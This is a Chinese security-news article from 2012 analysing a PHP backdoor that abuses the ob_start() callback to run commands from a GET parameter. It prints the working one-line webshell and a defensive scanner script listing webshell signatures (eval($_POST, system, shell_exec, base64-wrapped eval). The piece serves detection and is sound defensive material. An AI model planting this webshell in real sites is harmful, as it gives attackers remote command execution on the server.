首页 > 经验 > 关键词  > 网站安全分析最新资讯  > 正文

网站安全分析:PHP ob_start函数后门分析报告

2012-09-12 11:19 · 稿源:站长之家

站长之家(chinaz.com)9月12日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。

我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。

PHP 手册中关于ob_start()函数回调机制的相关说明:

Ob_start()函数后门代码如下:

<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>

后门利用效果如下图:

针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。

为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:

#!/usr/bin/php -q
<?php

#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval\(\\$\_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval\(base64 匹配经过base64编码后的后门
#eval\(gzuncompress 匹配经过gzip压缩过的后门
#\`*\` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)

#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) > result.log

程序的分析结果将保存在当前目录下的result.log文件中

set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir->read()){
if((is_dir("$directory/$file"))&&($file!=".")&&($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." && $file != ".."&&eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, 4096)) {
$i++;if((eregi("eval\(\\$\_POST",$buffer))||(eregi("system\(",$buffer))||(eregi("exec\(",$buffer))||(eregi("shell_exec\(",$buffer))||(eregi("popen\(",$buffer))||(eregi("phpinfo\(",$buffer))||(eregi("passthru\(",$buffer))||(eregi("proc_open\(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval\(base64",$buffer))||(eregi("eval\(gzuncompress",$buffer))||(eregi("preg_replace\(\/^\/e,\$",$buffer))||(eregi("preg_replace\(\"\/\^\/e",$buffer))||(eregi("assert\(",$buffer))||(eregi("ob_start\(",$buffer))||(eregi("error_log\(",$buffer))||(eregi("dl\(",$buffer))){
all();
echo "可疑文件路径:".$fd."\r\nLine".$i.":".$buffer."\r\n\r\n";
}
}
fclose($fp);
}
}
}
$mydir->close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}

find($argv[1]);
?>

使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识&技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。

注明:本安全报告来自日志宝,官方网站www.rizhibao.com

举报

  • 相关推荐
  • 大家在看
  • 阿里云WoSign SSL证书助力网站安全,新客专享4折优惠

    阿里云SSL证书2024新客专享优惠来啦!阿里云SSL证书新用户,购买wosignSSL证书低至4折,!阿里云平台WoSign品牌SSL证书支持签发全球信任RSASSL证书和国密算法SM2SSL证书!阿里云官方优惠,需要开年采购SSL证书的用户抓紧申请!一、SSL证书在网站系统合规建设中的应用在等保、关保、密评等合规建设中,网络和通信安全方面的建设是非常重要的部分,需要实现加密保护和安全认证,确保传输数据机密性、完整性以及通信主体可信认证。国密SSL证书应用于等保、关保和密评合规建设中,不仅能够提升网络信息系统的安全性,同时满足我国网络安全和密码应用的各项法规要求。阿里云与沃通CA基于多年的密切合作,共同为阿里云客户提供优质的产品及服务,打造完善的服务闭环,帮助客户应对各类场景下的SSL证书、国密SSL证书使用需求,推动网络安全和密码应用合规以及数字化安全建设。

  • 两天后见!极星首款手机Polestar Phone官宣

    吉利极星汽车近日发布了PolestarPhone的预热视频,并宣布将于4月16日揭晓这款新型手机的全新体验。根据已经发布的两个视频,PolestarPhone采用直角边框设计,暗金色充电线与极星汽车的安全带相同颜色。还首次应用了mTouchMax广域超声波指纹解锁技术,在提高解锁面积的同时还能加快解锁速度,并且在湿手状态下仍然可以正常解锁,是目前最好的旗舰手机之一。

  • 极星首款手机Polestar Phone官宣:魅族21 PRO亲兄弟

    日前,吉利旗下极星汽车发布PolestarPhone预热视频,并宣布将于4月16日揭晓新体验”。PolestarPhone采用直屏直角边框设计,暗金色手机充电线与极星汽车安全带同色,具体参数信息暂未公布。屏幕首次配备mTouchMax广域超声波指纹,不仅大幅提升解锁面积加快解锁速度,并支持湿手解锁,可以说是目前指纹解锁体验最好的旗舰手机。

  • 首款极星手机Polestar Phone发布:7388元

    今日晚间,首款极星设计的AI旗舰手机PolestarPhone正式发布,售价7388元。PolestarPhone采用了极致简奢外形,由瑞典哥德堡的极星全球设计团队与星纪魅族设计团队联合设计,从极星座驾中汲取丰沛灵感,以纯粹极星白为主色调,辅以安全带和Brembo制动器的瑞典金,由内到外焕然一新。PolestarPhone采用了超大识别面积的广域超声波急速指纹解锁,指纹识别面积是普通手机的9倍多,指纹录入仅需一次即可成功。

  • 标贝科技入选亿欧《2024中国“百模大战”竞争格局分析报告

    由全球开发者先锋大会组委会指导,亿欧、上海市人工智能行业协会主办的2024全球开发者大会“百模大战”商业发展论坛在上海成功举办。论坛聚焦大模型产业,汇聚行业专家共同分析大模型赛道的竞争格局,探索推动大模型技术落地的策略。标贝科技将持续深耕AI数据领域,进一步优化平台工具链,不断完善和拓展服务场景的应用空间,赋能数据生产全生命周期管理,为更多场景大模型落地提供支持。

  • Datawhale官体验入口 AI编程灵气分析在线学习资源地址

    Datawhale是一个AI学习与实践社区,致力于帮助用户学习AI理论知识、掌握AI编程实践、了解前沿AI技术动态,以及提升AI开发能力。该平台提供系统的AI学习路线、开源AI教程和源码、AI竞赛实践平台以及AIGC大模型应用案例等资源。要了解更多关于Datawhale的信息,请访问官方网站。

  • 2024年Top100 AI公司报告发布:OpenAI、Anthropic和Databricks位列前三

    CBInsights最近发布了2024年度Top100人工智能公司报告。该报告选择了来自16个国家/地区最具潜力的100家人工智能公司进行评选。该报告全面评估了来自16个国家/地区100家最具潜力的人工智能初创公司,为投资者和行业提供了有价值的参考。

  • 微软、OpenAI投资1000亿美元,打造“Stargate”超级计算机

    3月30日,著名科技媒体theinformation独家消息,微软、OpenAI正在开发一个数据中心项目,包含一台名为“Stargate”超级计算机将配备数百万个AI专用芯片,主要为OpenAI的研发、产品提供服务。据一位曾与OpenAI联合创始人兼首席执行官SamAltman交谈过,以及查看过微软对该项目的成本估算内部人士透露,该成本的总投资高达1000亿美元。AI算力已经和数据一样成为生成式AI领域的水、电、

  • 7388元起售 搭载骁龙8 Gen 3极星手机Polestar Phone正式发布

    4月23日,极星品牌之夜盛大举行,备受瞩目的极星手机PolestarPhone正式亮相。这款手机以“车手互联生态的AI旗舰手机”为定位,独特地提供了16GBRAM与1TB存储空间的组合版本,定价为7388元。PolestarPhone的发布,不仅展示了极星在智能手机领域的创新实力,也预示着车手互联生态的未来发展将更加紧密与多元。

  • 据称Stability AI资金告急,无法支付租用的云GPU账单

    生成式AI明星StabilityAI的热门文本到图像生成模型StableDiffusion所需的大规模GPU集群似乎也部分导致了前首席执行官EmadMostaque的失败-因为他找不到支付这些GPU的方法。根据引用公司文件和数十位知情人士的详尽报道,据称这家英国模型构建公司的极高基础设施成本耗尽了公司的现金储备,导致截至去年十月时,公司只剩下400万美元。计划将其在CoreWeave的GPU容量转售给风险投资公司

今日大家都在搜的词: